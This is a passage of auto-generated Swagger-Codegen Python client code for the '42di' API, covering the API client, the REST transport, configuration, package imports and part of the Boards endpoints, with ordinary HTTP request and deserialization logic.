if getattr(obj, attr) is not None}
return {key: self.sanitize_for_serialization(val)
for key, val in six.iteritems(obj_dict)}
def deserialize(self, response, response_type):
"""Deserializes response into an object.
:param response: RESTResponse object to be deserialized.
:param response_type: class literal for
deserialized object, or string of class name.
:return: deserialized object.
"""
# handle file downloading
# save response body into a tmp file and return the instance
if response_type == "file":
return self.__deserialize_file(response)
# fetch data from response object
try:
data = json.loads(response.data)
except ValueError:
data = response.data
return self.__deserialize(data, response_type)
def __deserialize(self, data, klass):
"""Deserializes dict, list, str into an object.
:param data: dict, list or str.
:param klass: class literal, or string of class name.
:return: object.
"""
if data is None:
return None
if type(klass) == str:
if klass.startswith('list['):
sub_kls = re.match(r'list\[(.*)\]', klass).group(1)
return [self.__deserialize(sub_data, sub_kls)
for sub_data in data]
if klass.startswith('dict('):
sub_kls = re.match(r'dict\(([^,]*), (.*)\)', klass).group(2)
return {k: self.__deserialize(v, sub_kls)
for k, v in six.iteritems(data)}
# convert str to class
if klass in self.NATIVE_TYPES_MAPPING:
klass = self.NATIVE_TYPES_MAPPING[klass]
else:
klass = getattr(swagger_client.models, klass)
if klass in self.PRIMITIVE_TYPES:
return self.__deserialize_primitive(data, klass)
elif klass == object:
return self.__deserialize_object(data)
elif klass == datetime.date:
return self.__deserialize_date(data)
elif klass == datetime.datetime:
return self.__deserialize_datatime(data)
else:
return self.__deserialize_model(data, klass)
def call_api(self, resource_path, method,
path_params=None, query_params=None, header_params=None,
body=None, post_params=None, files=None,
response_type=None, auth_settings=None, async_req=None,
_return_http_data_only=None, collection_formats=None,
_preload_content=True, _request_timeout=None):
"""Makes the HTTP request (synchronous) and returns deserialized data.
To make an async request, set the async_req parameter.
:param resource_path: Path to method endpoint.
:param method: Method to call.
:param path_params: Path parameters in the url.
:param query_params: Query parameters in the url.
:param header_params: Header parameters to be
placed in the request header.
:param body: Request body.
:param post_params dict: Request post form parameters,
for `application/x-www-form-urlencoded`, `multipart/form-data`.
:param auth_settings list: Auth Settings names for the request.
:param response: Response data type.
:param files dict: key -> filename, value -> filepath,
for `multipart/form-data`.
:param async_req bool: execute request asynchronously
:param _return_http_data_only: response data without head status code
and headers
:param collection_formats: dict of collection formats for path, query,
header, and post parameters.
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return:
If async_req parameter is True,
the request will be called asynchronously.
The method will return the request thread.
If parameter async_req is False or missing,
then the method will return the response directly.
"""
if not async_req:
return self.__call_api(resource_path, method,
path_params, query_params, header_params,
body, post_params, files,
response_type, auth_settings,
_return_http_data_only, collection_formats,
_preload_content, _request_timeout)
else:
thread = self.pool.apply_async(self.__call_api, (resource_path,
method, path_params, query_params,
header_params, body,
post_params, files,
response_type, auth_settings,
_return_http_data_only,
collection_formats,
_preload_content, _request_timeout))
return thread
def request(self, method, url, query_params=None, headers=None,
post_params=None, body=None, _preload_content=True,
_request_timeout=None):
"""Makes the HTTP request using RESTClient."""
if method == "GET":
return self.rest_client.GET(url,
query_params=query_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
headers=headers)
elif method == "HEAD":
return self.rest_client.HEAD(url,
query_params=query_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
headers=headers)
elif method == "OPTIONS":
return self.rest_client.OPTIONS(url,
query_params=query_params,
headers=headers,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
elif method == "POST":
return self.rest_client.POST(url,
query_params=query_params,
headers=headers,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
elif method == "PUT":
return self.rest_client.PUT(url,
query_params=query_params,
headers=headers,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
elif method == "PATCH":
return self.rest_client.PATCH(url,
query_params=query_params,
headers=headers,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
elif method == "DELETE":
return self.rest_client.DELETE(url,
query_params=query_params,
headers=headers,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
else:
raise ValueError(
"http method must be `GET`, `HEAD`, `OPTIONS`,"
" `POST`, `PATCH`, `PUT` or `DELETE`."
)
def parameters_to_tuples(self, params, collection_formats):
"""Get parameters as list of tuples, formatting collections.
:param params: Parameters as dict or list of two-tuples
:param dict collection_formats: Parameter collection formats
:return: Parameters as list of tuples, collections formatted
"""
new_params = []
if collection_formats is None:
collection_formats = {}
for k, v in six.iteritems(params) if isinstance(params, dict) else params: # noqa: E501
if k in collection_formats:
collection_format = collection_formats[k]
if collection_format == 'multi':
new_params.extend((k, value) for value in v)
else:
if collection_format == 'ssv':
delimiter = ' '
elif collection_format == 'tsv':
delimiter = '\t'
elif collection_format == 'pipes':
delimiter = '|'
else: # csv is the default
delimiter = ','
new_params.append(
(k, delimiter.join(str(value) for value in v)))
else:
new_params.append((k, v))
return new_params
def prepare_post_parameters(self, post_params=None, files=None):
"""Builds form parameters.
:param post_params: Normal form parameters.
:param files: File parameters.
:return: Form parameters with files.
"""
params = []
if post_params:
params = post_params
if files:
for k, v in six.iteritems(files):
if not v:
continue
file_names = v if type(v) is list else [v]
for n in file_names:
with open(n, 'rb') as f:
filename = os.path.basename(f.name)
filedata = f.read()
mimetype = (mimetypes.guess_type(filename)[0] or
'application/octet-stream')
params.append(
tuple([k, tuple([filename, filedata, mimetype])]))
return params
def select_header_accept(self, accepts):
"""Returns `Accept` based on an array of accepts provided.
:param accepts: List of headers.
:return: Accept (e.g. application/json).
"""
if not accepts:
return
accepts = [x.lower() for x in accepts]
if 'application/json' in accepts:
return 'application/json'
else:
return ', '.join(accepts)
def select_header_content_type(self, content_types):
"""Returns `Content-Type` based on an array of content_types provided.
:param content_types: List of content-types.
:return: Content-Type (e.g. application/json).
"""
if not content_types:
return 'application/json'
content_types = [x.lower() for x in content_types]
if 'application/json' in content_types or '*/*' in content_types:
return 'application/json'
else:
return content_types[0]
def update_params_for_auth(self, headers, querys, auth_settings):
"""Updates header and query params based on authentication setting.
:param headers: Header parameters dict to be updated.
:param querys: Query parameters tuple list to be updated.
:param auth_settings: Authentication setting identifiers list.
"""
if not auth_settings:
return
for auth in auth_settings:
auth_setting = self.configuration.auth_settings().get(auth)
if auth_setting:
if not auth_setting['value']:
continue
elif auth_setting['in'] == 'header':
headers[auth_setting['key']] = auth_setting['value']
elif auth_setting['in'] == 'query':
querys.append((auth_setting['key'], auth_setting['value']))
else:
raise ValueError(
'Authentication token must be in `query` or `header`'
)
def __deserialize_file(self, response):
"""Deserializes body to file
Saves response body into a file in a temporary folder,
using the filename from the `Content-Disposition` header if provided.
:param response: RESTResponse.
:return: file path.
"""
fd, path = tempfile.mkstemp(dir=self.configuration.temp_folder_path)
os.close(fd)
os.remove(path)
content_disposition = response.getheader("Content-Disposition")
if content_disposition:
filename = re.search(r'filename=[\'"]?([^\'"\s]+)[\'"]?',
content_disposition).group(1)
path = os.path.join(os.path.dirname(path), filename)
response_data = response.data
with open(path, "wb") as f:
if isinstance(response_data, str):
# change str to bytes so we can write it
response_data = response_data.encode('utf-8')
f.write(response_data)
else:
f.write(response_data)
return path
def __deserialize_primitive(self, data, klass):
"""Deserializes string to primitive type.
:param data: str.
:param klass: class literal.
:return: int, long, float, str, bool.
"""
try:
return klass(data)
except UnicodeEncodeError:
return six.text_type(data)
except TypeError:
return data
def __deserialize_object(self, value):
"""Return a original value.
:return: object.
"""
return value
def __deserialize_date(self, string):
"""Deserializes string to date.
:param string: str.
:return: date.
"""
try:
from dateutil.parser import parse
return parse(string).date()
except ImportError:
return string
except ValueError:
raise rest.ApiException(
status=0,
reason="Failed to parse `{0}` as date object".format(string)
)
def __deserialize_datatime(self, string):
"""Deserializes string to datetime.
The string should be in iso8601 datetime format.
:param string: str.
:return: datetime.
"""
try:
from dateutil.parser import parse
return parse(string)
except ImportError:
return string
except ValueError:
raise rest.ApiException(
status=0,
reason=(
"Failed to parse `{0}` as datetime object"
.format(string)
)
)
def __hasattr(self, object, name):
return name in object.__class__.__dict__
def __deserialize_model(self, data, klass):
"""Deserializes list or dict to model.
:param data: dict, list.
:param klass: class literal.
:return: model object.
"""
if not klass.swagger_types and not self.__hasattr(klass, 'get_real_child_model'):
return data
kwargs = {}
if klass.swagger_types is not None:
for attr, attr_type in six.iteritems(klass.swagger_types):
if (data is not None and
klass.attribute_map[attr] in data and
isinstance(data, (list, dict))):
value = data[klass.attribute_map[attr]]
kwargs[attr] = self.__deserialize(value, attr_type)
instance = klass(**kwargs)
if (isinstance(instance, dict) and
klass.swagger_types is not None and
isinstance(data, dict)):
for key, value in data.items():
if key not in klass.swagger_types:
instance[key] = value
if self.__hasattr(instance, 'get_real_child_model'):
klass_name = instance.get_real_child_model(data)
if klass_name:
instance = self.__deserialize(data, klass_name)
return instance
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api_client.py
|
api_client.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import io
import json
import logging
import re
import ssl
import certifi
# python 2 and python 3 compatibility library
import six
from six.moves.urllib.parse import urlencode
try:
import urllib3
except ImportError:
raise ImportError('Swagger python client requires urllib3.')
logger = logging.getLogger(__name__)
class RESTResponse(io.IOBase):
def __init__(self, resp):
self.urllib3_response = resp
self.status = resp.status
self.reason = resp.reason
self.data = resp.data
def getheaders(self):
"""Returns a dictionary of the response headers."""
return self.urllib3_response.getheaders()
def getheader(self, name, default=None):
"""Returns a given response header."""
return self.urllib3_response.getheader(name, default)
class RESTClientObject(object):
def __init__(self, configuration, pools_size=4, maxsize=None):
# urllib3.PoolManager will pass all kw parameters to connectionpool
# https://github.com/shazow/urllib3/blob/f9409436f83aeb79fbaf090181cd81b784f1b8ce/urllib3/poolmanager.py#L75 # noqa: E501
# https://github.com/shazow/urllib3/blob/f9409436f83aeb79fbaf090181cd81b784f1b8ce/urllib3/connectionpool.py#L680 # noqa: E501
# maxsize is the number of requests to host that are allowed in parallel # noqa: E501
# Custom SSL certificates and client certificates: http://urllib3.readthedocs.io/en/latest/advanced-usage.html # noqa: E501
# cert_reqs
if configuration.verify_ssl:
cert_reqs = ssl.CERT_REQUIRED
else:
cert_reqs = ssl.CERT_NONE
# ca_certs
if configuration.ssl_ca_cert:
ca_certs = configuration.ssl_ca_cert
else:
# if not set certificate file, use Mozilla's root certificates.
ca_certs = certifi.where()
addition_pool_args = {}
if configuration.assert_hostname is not None:
addition_pool_args['assert_hostname'] = configuration.assert_hostname # noqa: E501
if maxsize is None:
if configuration.connection_pool_maxsize is not None:
maxsize = configuration.connection_pool_maxsize
else:
maxsize = 4
# https pool manager
if configuration.proxy:
self.pool_manager = urllib3.ProxyManager(
num_pools=pools_size,
maxsize=maxsize,
cert_reqs=cert_reqs,
ca_certs=ca_certs,
cert_file=configuration.cert_file,
key_file=configuration.key_file,
proxy_url=configuration.proxy,
**addition_pool_args
)
else:
self.pool_manager = urllib3.PoolManager(
num_pools=pools_size,
maxsize=maxsize,
cert_reqs=cert_reqs,
ca_certs=ca_certs,
cert_file=configuration.cert_file,
key_file=configuration.key_file,
**addition_pool_args
)
def request(self, method, url, query_params=None, headers=None,
body=None, post_params=None, _preload_content=True,
_request_timeout=None):
"""Perform requests.
:param method: http request method
:param url: http request url
:param query_params: query parameters in the url
:param headers: http request headers
:param body: request json body, for `application/json`
:param post_params: request post parameters,
`application/x-www-form-urlencoded`
and `multipart/form-data`
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
"""
method = method.upper()
assert method in ['GET', 'HEAD', 'DELETE', 'POST', 'PUT',
'PATCH', 'OPTIONS']
if post_params and body:
raise ValueError(
"body parameter cannot be used with post_params parameter."
)
post_params = post_params or {}
headers = headers or {}
timeout = None
if _request_timeout:
if isinstance(_request_timeout, (int, ) if six.PY3 else (int, long)): # noqa: E501,F821
timeout = urllib3.Timeout(total=_request_timeout)
elif (isinstance(_request_timeout, tuple) and
len(_request_timeout) == 2):
timeout = urllib3.Timeout(
connect=_request_timeout[0], read=_request_timeout[1])
if 'Content-Type' not in headers:
headers['Content-Type'] = 'application/json'
try:
# For `POST`, `PUT`, `PATCH`, `OPTIONS`, `DELETE`
if method in ['POST', 'PUT', 'PATCH', 'OPTIONS', 'DELETE']:
if query_params:
url += '?' + urlencode(query_params)
if re.search('json', headers['Content-Type'], re.IGNORECASE):
request_body = '{}'
if body is not None:
request_body = json.dumps(body)
r = self.pool_manager.request(
method, url,
body=request_body,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
elif headers['Content-Type'] == 'application/x-www-form-urlencoded': # noqa: E501
r = self.pool_manager.request(
method, url,
fields=post_params,
encode_multipart=False,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
elif headers['Content-Type'] == 'multipart/form-data':
# must del headers['Content-Type'], or the correct
# Content-Type which generated by urllib3 will be
# overwritten.
del headers['Content-Type']
r = self.pool_manager.request(
method, url,
fields=post_params,
encode_multipart=True,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
# Pass a `string` parameter directly in the body to support
# other content types than Json when `body` argument is
# provided in serialized form
elif isinstance(body, str) or isinstance(body, bytes):
if isinstance(body, str) :
request_body = body.encode("utf-8")
else:
request_body = body
r = self.pool_manager.request(
method, url,
body=request_body,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
else:
# Cannot generate the request from given parameters
msg = """Cannot prepare a request message for provided
arguments. Please check that your arguments match
declared content type."""
raise ApiException(status=0, reason=msg)
# For `GET`, `HEAD`
else:
r = self.pool_manager.request(method, url,
fields=query_params,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
except urllib3.exceptions.SSLError as e:
msg = "{0}\n{1}".format(type(e).__name__, str(e))
raise ApiException(status=0, reason=msg)
if _preload_content:
r = RESTResponse(r)
# log response body
logger.debug("response body: %s", r.data)
if not 200 <= r.status <= 299:
raise ApiException(http_resp=r)
return r
def GET(self, url, headers=None, query_params=None, _preload_content=True,
_request_timeout=None):
return self.request("GET", url,
headers=headers,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
query_params=query_params)
def HEAD(self, url, headers=None, query_params=None, _preload_content=True,
_request_timeout=None):
return self.request("HEAD", url,
headers=headers,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
query_params=query_params)
def OPTIONS(self, url, headers=None, query_params=None, post_params=None,
body=None, _preload_content=True, _request_timeout=None):
return self.request("OPTIONS", url,
headers=headers,
query_params=query_params,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
def DELETE(self, url, headers=None, query_params=None, body=None,
_preload_content=True, _request_timeout=None):
return self.request("DELETE", url,
headers=headers,
query_params=query_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
def POST(self, url, headers=None, query_params=None, post_params=None,
body=None, _preload_content=True, _request_timeout=None):
return self.request("POST", url,
headers=headers,
query_params=query_params,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
def PUT(self, url, headers=None, query_params=None, post_params=None,
body=None, _preload_content=True, _request_timeout=None):
return self.request("PUT", url,
headers=headers,
query_params=query_params,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
def PATCH(self, url, headers=None, query_params=None, post_params=None,
body=None, _preload_content=True, _request_timeout=None):
return self.request("PATCH", url,
headers=headers,
query_params=query_params,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
class ApiException(Exception):
def __init__(self, status=None, reason=None, http_resp=None):
if http_resp:
self.status = http_resp.status
self.reason = http_resp.reason
self.body = http_resp.data
self.headers = http_resp.getheaders()
else:
self.status = status
self.reason = reason
self.body = None
self.headers = None
def __str__(self):
"""Custom error messages for exception"""
error_message = "({0})\n"\
"Reason: {1}\n".format(self.status, self.reason)
if self.headers:
error_message += "HTTP response headers: {0}\n".format(
self.headers)
if self.body:
error_message += "HTTP response body: {0}\n".format(self.body)
return error_message
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/rest.py
|
rest.py
|
# coding: utf-8
# flake8: noqa
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
# import apis into sdk package
from swagger_client.api.analysis_api import AnalysisApi
from swagger_client.api.boards_api import BoardsApi
from swagger_client.api.datasets_api import DatasetsApi
from swagger_client.api.insights_api import InsightsApi
from swagger_client.api.projects_api import ProjectsApi
from swagger_client.api.teams_api import TeamsApi
from swagger_client.api.users_api import UsersApi
# import ApiClient
from swagger_client.api_client import ApiClient
from swagger_client.configuration import Configuration
# import models into sdk package
from swagger_client.models.algorithm import Algorithm
from swagger_client.models.analysis_job import AnalysisJob
from swagger_client.models.analysis_job_description import AnalysisJobDescription
from swagger_client.models.analysis_job_description_datasource import AnalysisJobDescriptionDatasource
from swagger_client.models.analysis_job_status import AnalysisJobStatus
from swagger_client.models.board import Board
from swagger_client.models.data_file import DataFile
from swagger_client.models.dataset import Dataset
from swagger_client.models.error_message import ErrorMessage
from swagger_client.models.insight import Insight
from swagger_client.models.patch_action import PatchAction
from swagger_client.models.project import Project
from swagger_client.models.project_sub import ProjectSub
from swagger_client.models.team import Team
from swagger_client.models.token import Token
from swagger_client.models.topic import Topic
from swagger_client.models.user import User
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/__init__.py
|
__init__.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import copy
import logging
import multiprocessing
import sys
import urllib3
import six
from six.moves import http_client as httplib
class TypeWithDefault(type):
def __init__(cls, name, bases, dct):
super(TypeWithDefault, cls).__init__(name, bases, dct)
cls._default = None
def __call__(cls):
if cls._default is None:
cls._default = type.__call__(cls)
return copy.copy(cls._default)
def set_default(cls, default):
cls._default = copy.copy(default)
class Configuration(six.with_metaclass(TypeWithDefault, object)):
"""NOTE: This class is auto generated by the swagger code generator program.
Ref: https://github.com/swagger-api/swagger-codegen
Do not edit the class manually.
"""
def __init__(self):
"""Constructor"""
# Default Base url
self.host = "/api/v1"
# Temp file folder for downloading files
self.temp_folder_path = None
# Authentication Settings
# dict to store API key(s)
self.api_key = {}
# dict to store API prefix (e.g. Bearer)
self.api_key_prefix = {}
# function to refresh API key if expired
self.refresh_api_key_hook = None
# Username for HTTP basic authentication
self.username = ""
# Password for HTTP basic authentication
self.password = ""
# Logging Settings
self.logger = {}
self.logger["package_logger"] = logging.getLogger("swagger_client")
self.logger["urllib3_logger"] = logging.getLogger("urllib3")
# Log format
self.logger_format = '%(asctime)s %(levelname)s %(message)s'
# Log stream handler
self.logger_stream_handler = None
# Log file handler
self.logger_file_handler = None
# Debug file location
self.logger_file = None
# Debug switch
self.debug = False
# SSL/TLS verification
# Set this to false to skip verifying SSL certificate when calling API
# from https server.
self.verify_ssl = True
# Set this to customize the certificate file to verify the peer.
self.ssl_ca_cert = None
# client certificate file
self.cert_file = None
# client key file
self.key_file = None
# Set this to True/False to enable/disable SSL hostname verification.
self.assert_hostname = None
# urllib3 connection pool's maximum number of connections saved
# per pool. urllib3 uses 1 connection as default value, but this is
# not the best value when you are making a lot of possibly parallel
# requests to the same host, which is often the case here.
# cpu_count * 5 is used as default value to increase performance.
self.connection_pool_maxsize = multiprocessing.cpu_count() * 5
# Proxy URL
self.proxy = None
# Safe chars for path_param
self.safe_chars_for_path_param = ''
@property
def logger_file(self):
"""The logger file.
If the logger_file is None, then add stream handler and remove file
handler. Otherwise, add file handler and remove stream handler.
:param value: The logger_file path.
:type: str
"""
return self.__logger_file
@logger_file.setter
def logger_file(self, value):
"""The logger file.
If the logger_file is None, then add stream handler and remove file
handler. Otherwise, add file handler and remove stream handler.
:param value: The logger_file path.
:type: str
"""
self.__logger_file = value
if self.__logger_file:
# If set logging file,
# then add file handler and remove stream handler.
self.logger_file_handler = logging.FileHandler(self.__logger_file)
self.logger_file_handler.setFormatter(self.logger_formatter)
for _, logger in six.iteritems(self.logger):
logger.addHandler(self.logger_file_handler)
if self.logger_stream_handler:
logger.removeHandler(self.logger_stream_handler)
else:
# If not set logging file,
# then add stream handler and remove file handler.
self.logger_stream_handler = logging.StreamHandler()
self.logger_stream_handler.setFormatter(self.logger_formatter)
for _, logger in six.iteritems(self.logger):
logger.addHandler(self.logger_stream_handler)
if self.logger_file_handler:
logger.removeHandler(self.logger_file_handler)
@property
def debug(self):
"""Debug status
:param value: The debug status, True or False.
:type: bool
"""
return self.__debug
@debug.setter
def debug(self, value):
"""Debug status
:param value: The debug status, True or False.
:type: bool
"""
self.__debug = value
if self.__debug:
# if debug status is True, turn on debug logging
for _, logger in six.iteritems(self.logger):
logger.setLevel(logging.DEBUG)
# turn on httplib debug
httplib.HTTPConnection.debuglevel = 1
else:
# if debug status is False, turn off debug logging,
# setting log level to default `logging.WARNING`
for _, logger in six.iteritems(self.logger):
logger.setLevel(logging.WARNING)
# turn off httplib debug
httplib.HTTPConnection.debuglevel = 0
@property
def logger_format(self):
"""The logger format.
The logger_formatter will be updated when sets logger_format.
:param value: The format string.
:type: str
"""
return self.__logger_format
@logger_format.setter
def logger_format(self, value):
"""The logger format.
The logger_formatter will be updated when sets logger_format.
:param value: The format string.
:type: str
"""
self.__logger_format = value
self.logger_formatter = logging.Formatter(self.__logger_format)
def get_api_key_with_prefix(self, identifier):
"""Gets API key (with prefix if set).
:param identifier: The identifier of apiKey.
:return: The token for api key authentication.
"""
if self.refresh_api_key_hook:
self.refresh_api_key_hook(self)
key = self.api_key.get(identifier)
if key:
prefix = self.api_key_prefix.get(identifier)
if prefix:
return "%s %s" % (prefix, key)
else:
return key
def get_basic_auth_token(self):
"""Gets HTTP basic authentication header (string).
:return: The token for basic HTTP authentication.
"""
return urllib3.util.make_headers(
basic_auth=self.username + ':' + self.password
).get('authorization')
def auth_settings(self):
"""Gets Auth Settings dict for api client.
:return: The Auth Settings information dict.
"""
return {
'APIKeyAuth':
{
'type': 'api_key',
'in': 'header',
'key': 'X-API-Key',
'value': self.get_api_key_with_prefix('X-API-Key')
},
'AccessToken':
{
'type': 'api_key',
'in': 'query',
'key': 'token',
'value': self.get_api_key_with_prefix('token')
},
}
def to_debug_report(self):
"""Gets the essential information for debugging.
:return: The report for debugging.
"""
return "Python SDK Debug Report:\n"\
"OS: {env}\n"\
"Python Version: {pyversion}\n"\
"Version of the API: 1.0\n"\
"SDK Package Version: 1.0.0".\
format(env=sys.platform, pyversion=sys.version)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/configuration.py
|
configuration.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class BoardsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_topic(self, board_id, **kwargs): # noqa: E501
"""Create Topic # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_topic(board_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:param Topic body: The **Topic** object will be created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_topic_with_http_info(board_id, **kwargs) # noqa: E501
else:
(data) = self.create_topic_with_http_info(board_id, **kwargs) # noqa: E501
return data
def create_topic_with_http_info(self, board_id, **kwargs): # noqa: E501
"""Create Topic # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_topic_with_http_info(board_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:param Topic body: The **Topic** object will be created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['board_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_topic" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'board_id' is set
if ('board_id' not in params or
params['board_id'] is None):
raise ValueError("Missing the required parameter `board_id` when calling `create_topic`") # noqa: E501
collection_formats = {}
path_params = {}
if 'board_id' in params:
path_params['board_id'] = params['board_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/boards/{board_id}/topics', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_topic(self, board_id, topic_id, **kwargs): # noqa: E501
"""Delete Topic # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_topic(board_id, topic_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:param str topic_id: the **Topic** identity (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_topic_with_http_info(board_id, topic_id, **kwargs) # noqa: E501
else:
(data) = self.delete_topic_with_http_info(board_id, topic_id, **kwargs) # noqa: E501
return data
def delete_topic_with_http_info(self, board_id, topic_id, **kwargs): # noqa: E501
"""Delete Topic # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_topic_with_http_info(board_id, topic_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:param str topic_id: the **Topic** identity (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['board_id', 'topic_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_topic" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'board_id' is set
if ('board_id' not in params or
params['board_id'] is None):
raise ValueError("Missing the required parameter `board_id` when calling `delete_topic`") # noqa: E501
# verify the required parameter 'topic_id' is set
if ('topic_id' not in params or
params['topic_id'] is None):
raise ValueError("Missing the required parameter `topic_id` when calling `delete_topic`") # noqa: E501
collection_formats = {}
path_params = {}
if 'board_id' in params:
path_params['board_id'] = params['board_id'] # noqa: E501
if 'topic_id' in params:
path_params['topic_id'] = params['topic_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/boards/{board_id}/topics/{topic_id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_board(self, board_id, **kwargs): # noqa: E501
"""Get Board # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_board(board_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:return: Board
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_board_with_http_info(board_id, **kwargs) # noqa: E501
else:
(data) = self.get_board_with_http_info(board_id, **kwargs) # noqa: E501
return data
def get_board_with_http_info(self, board_id, **kwargs): # noqa: E501
"""Get Board # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_board_with_http_info(board_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str board_id: the **Board** identity (required)
:return: Board
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['board_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
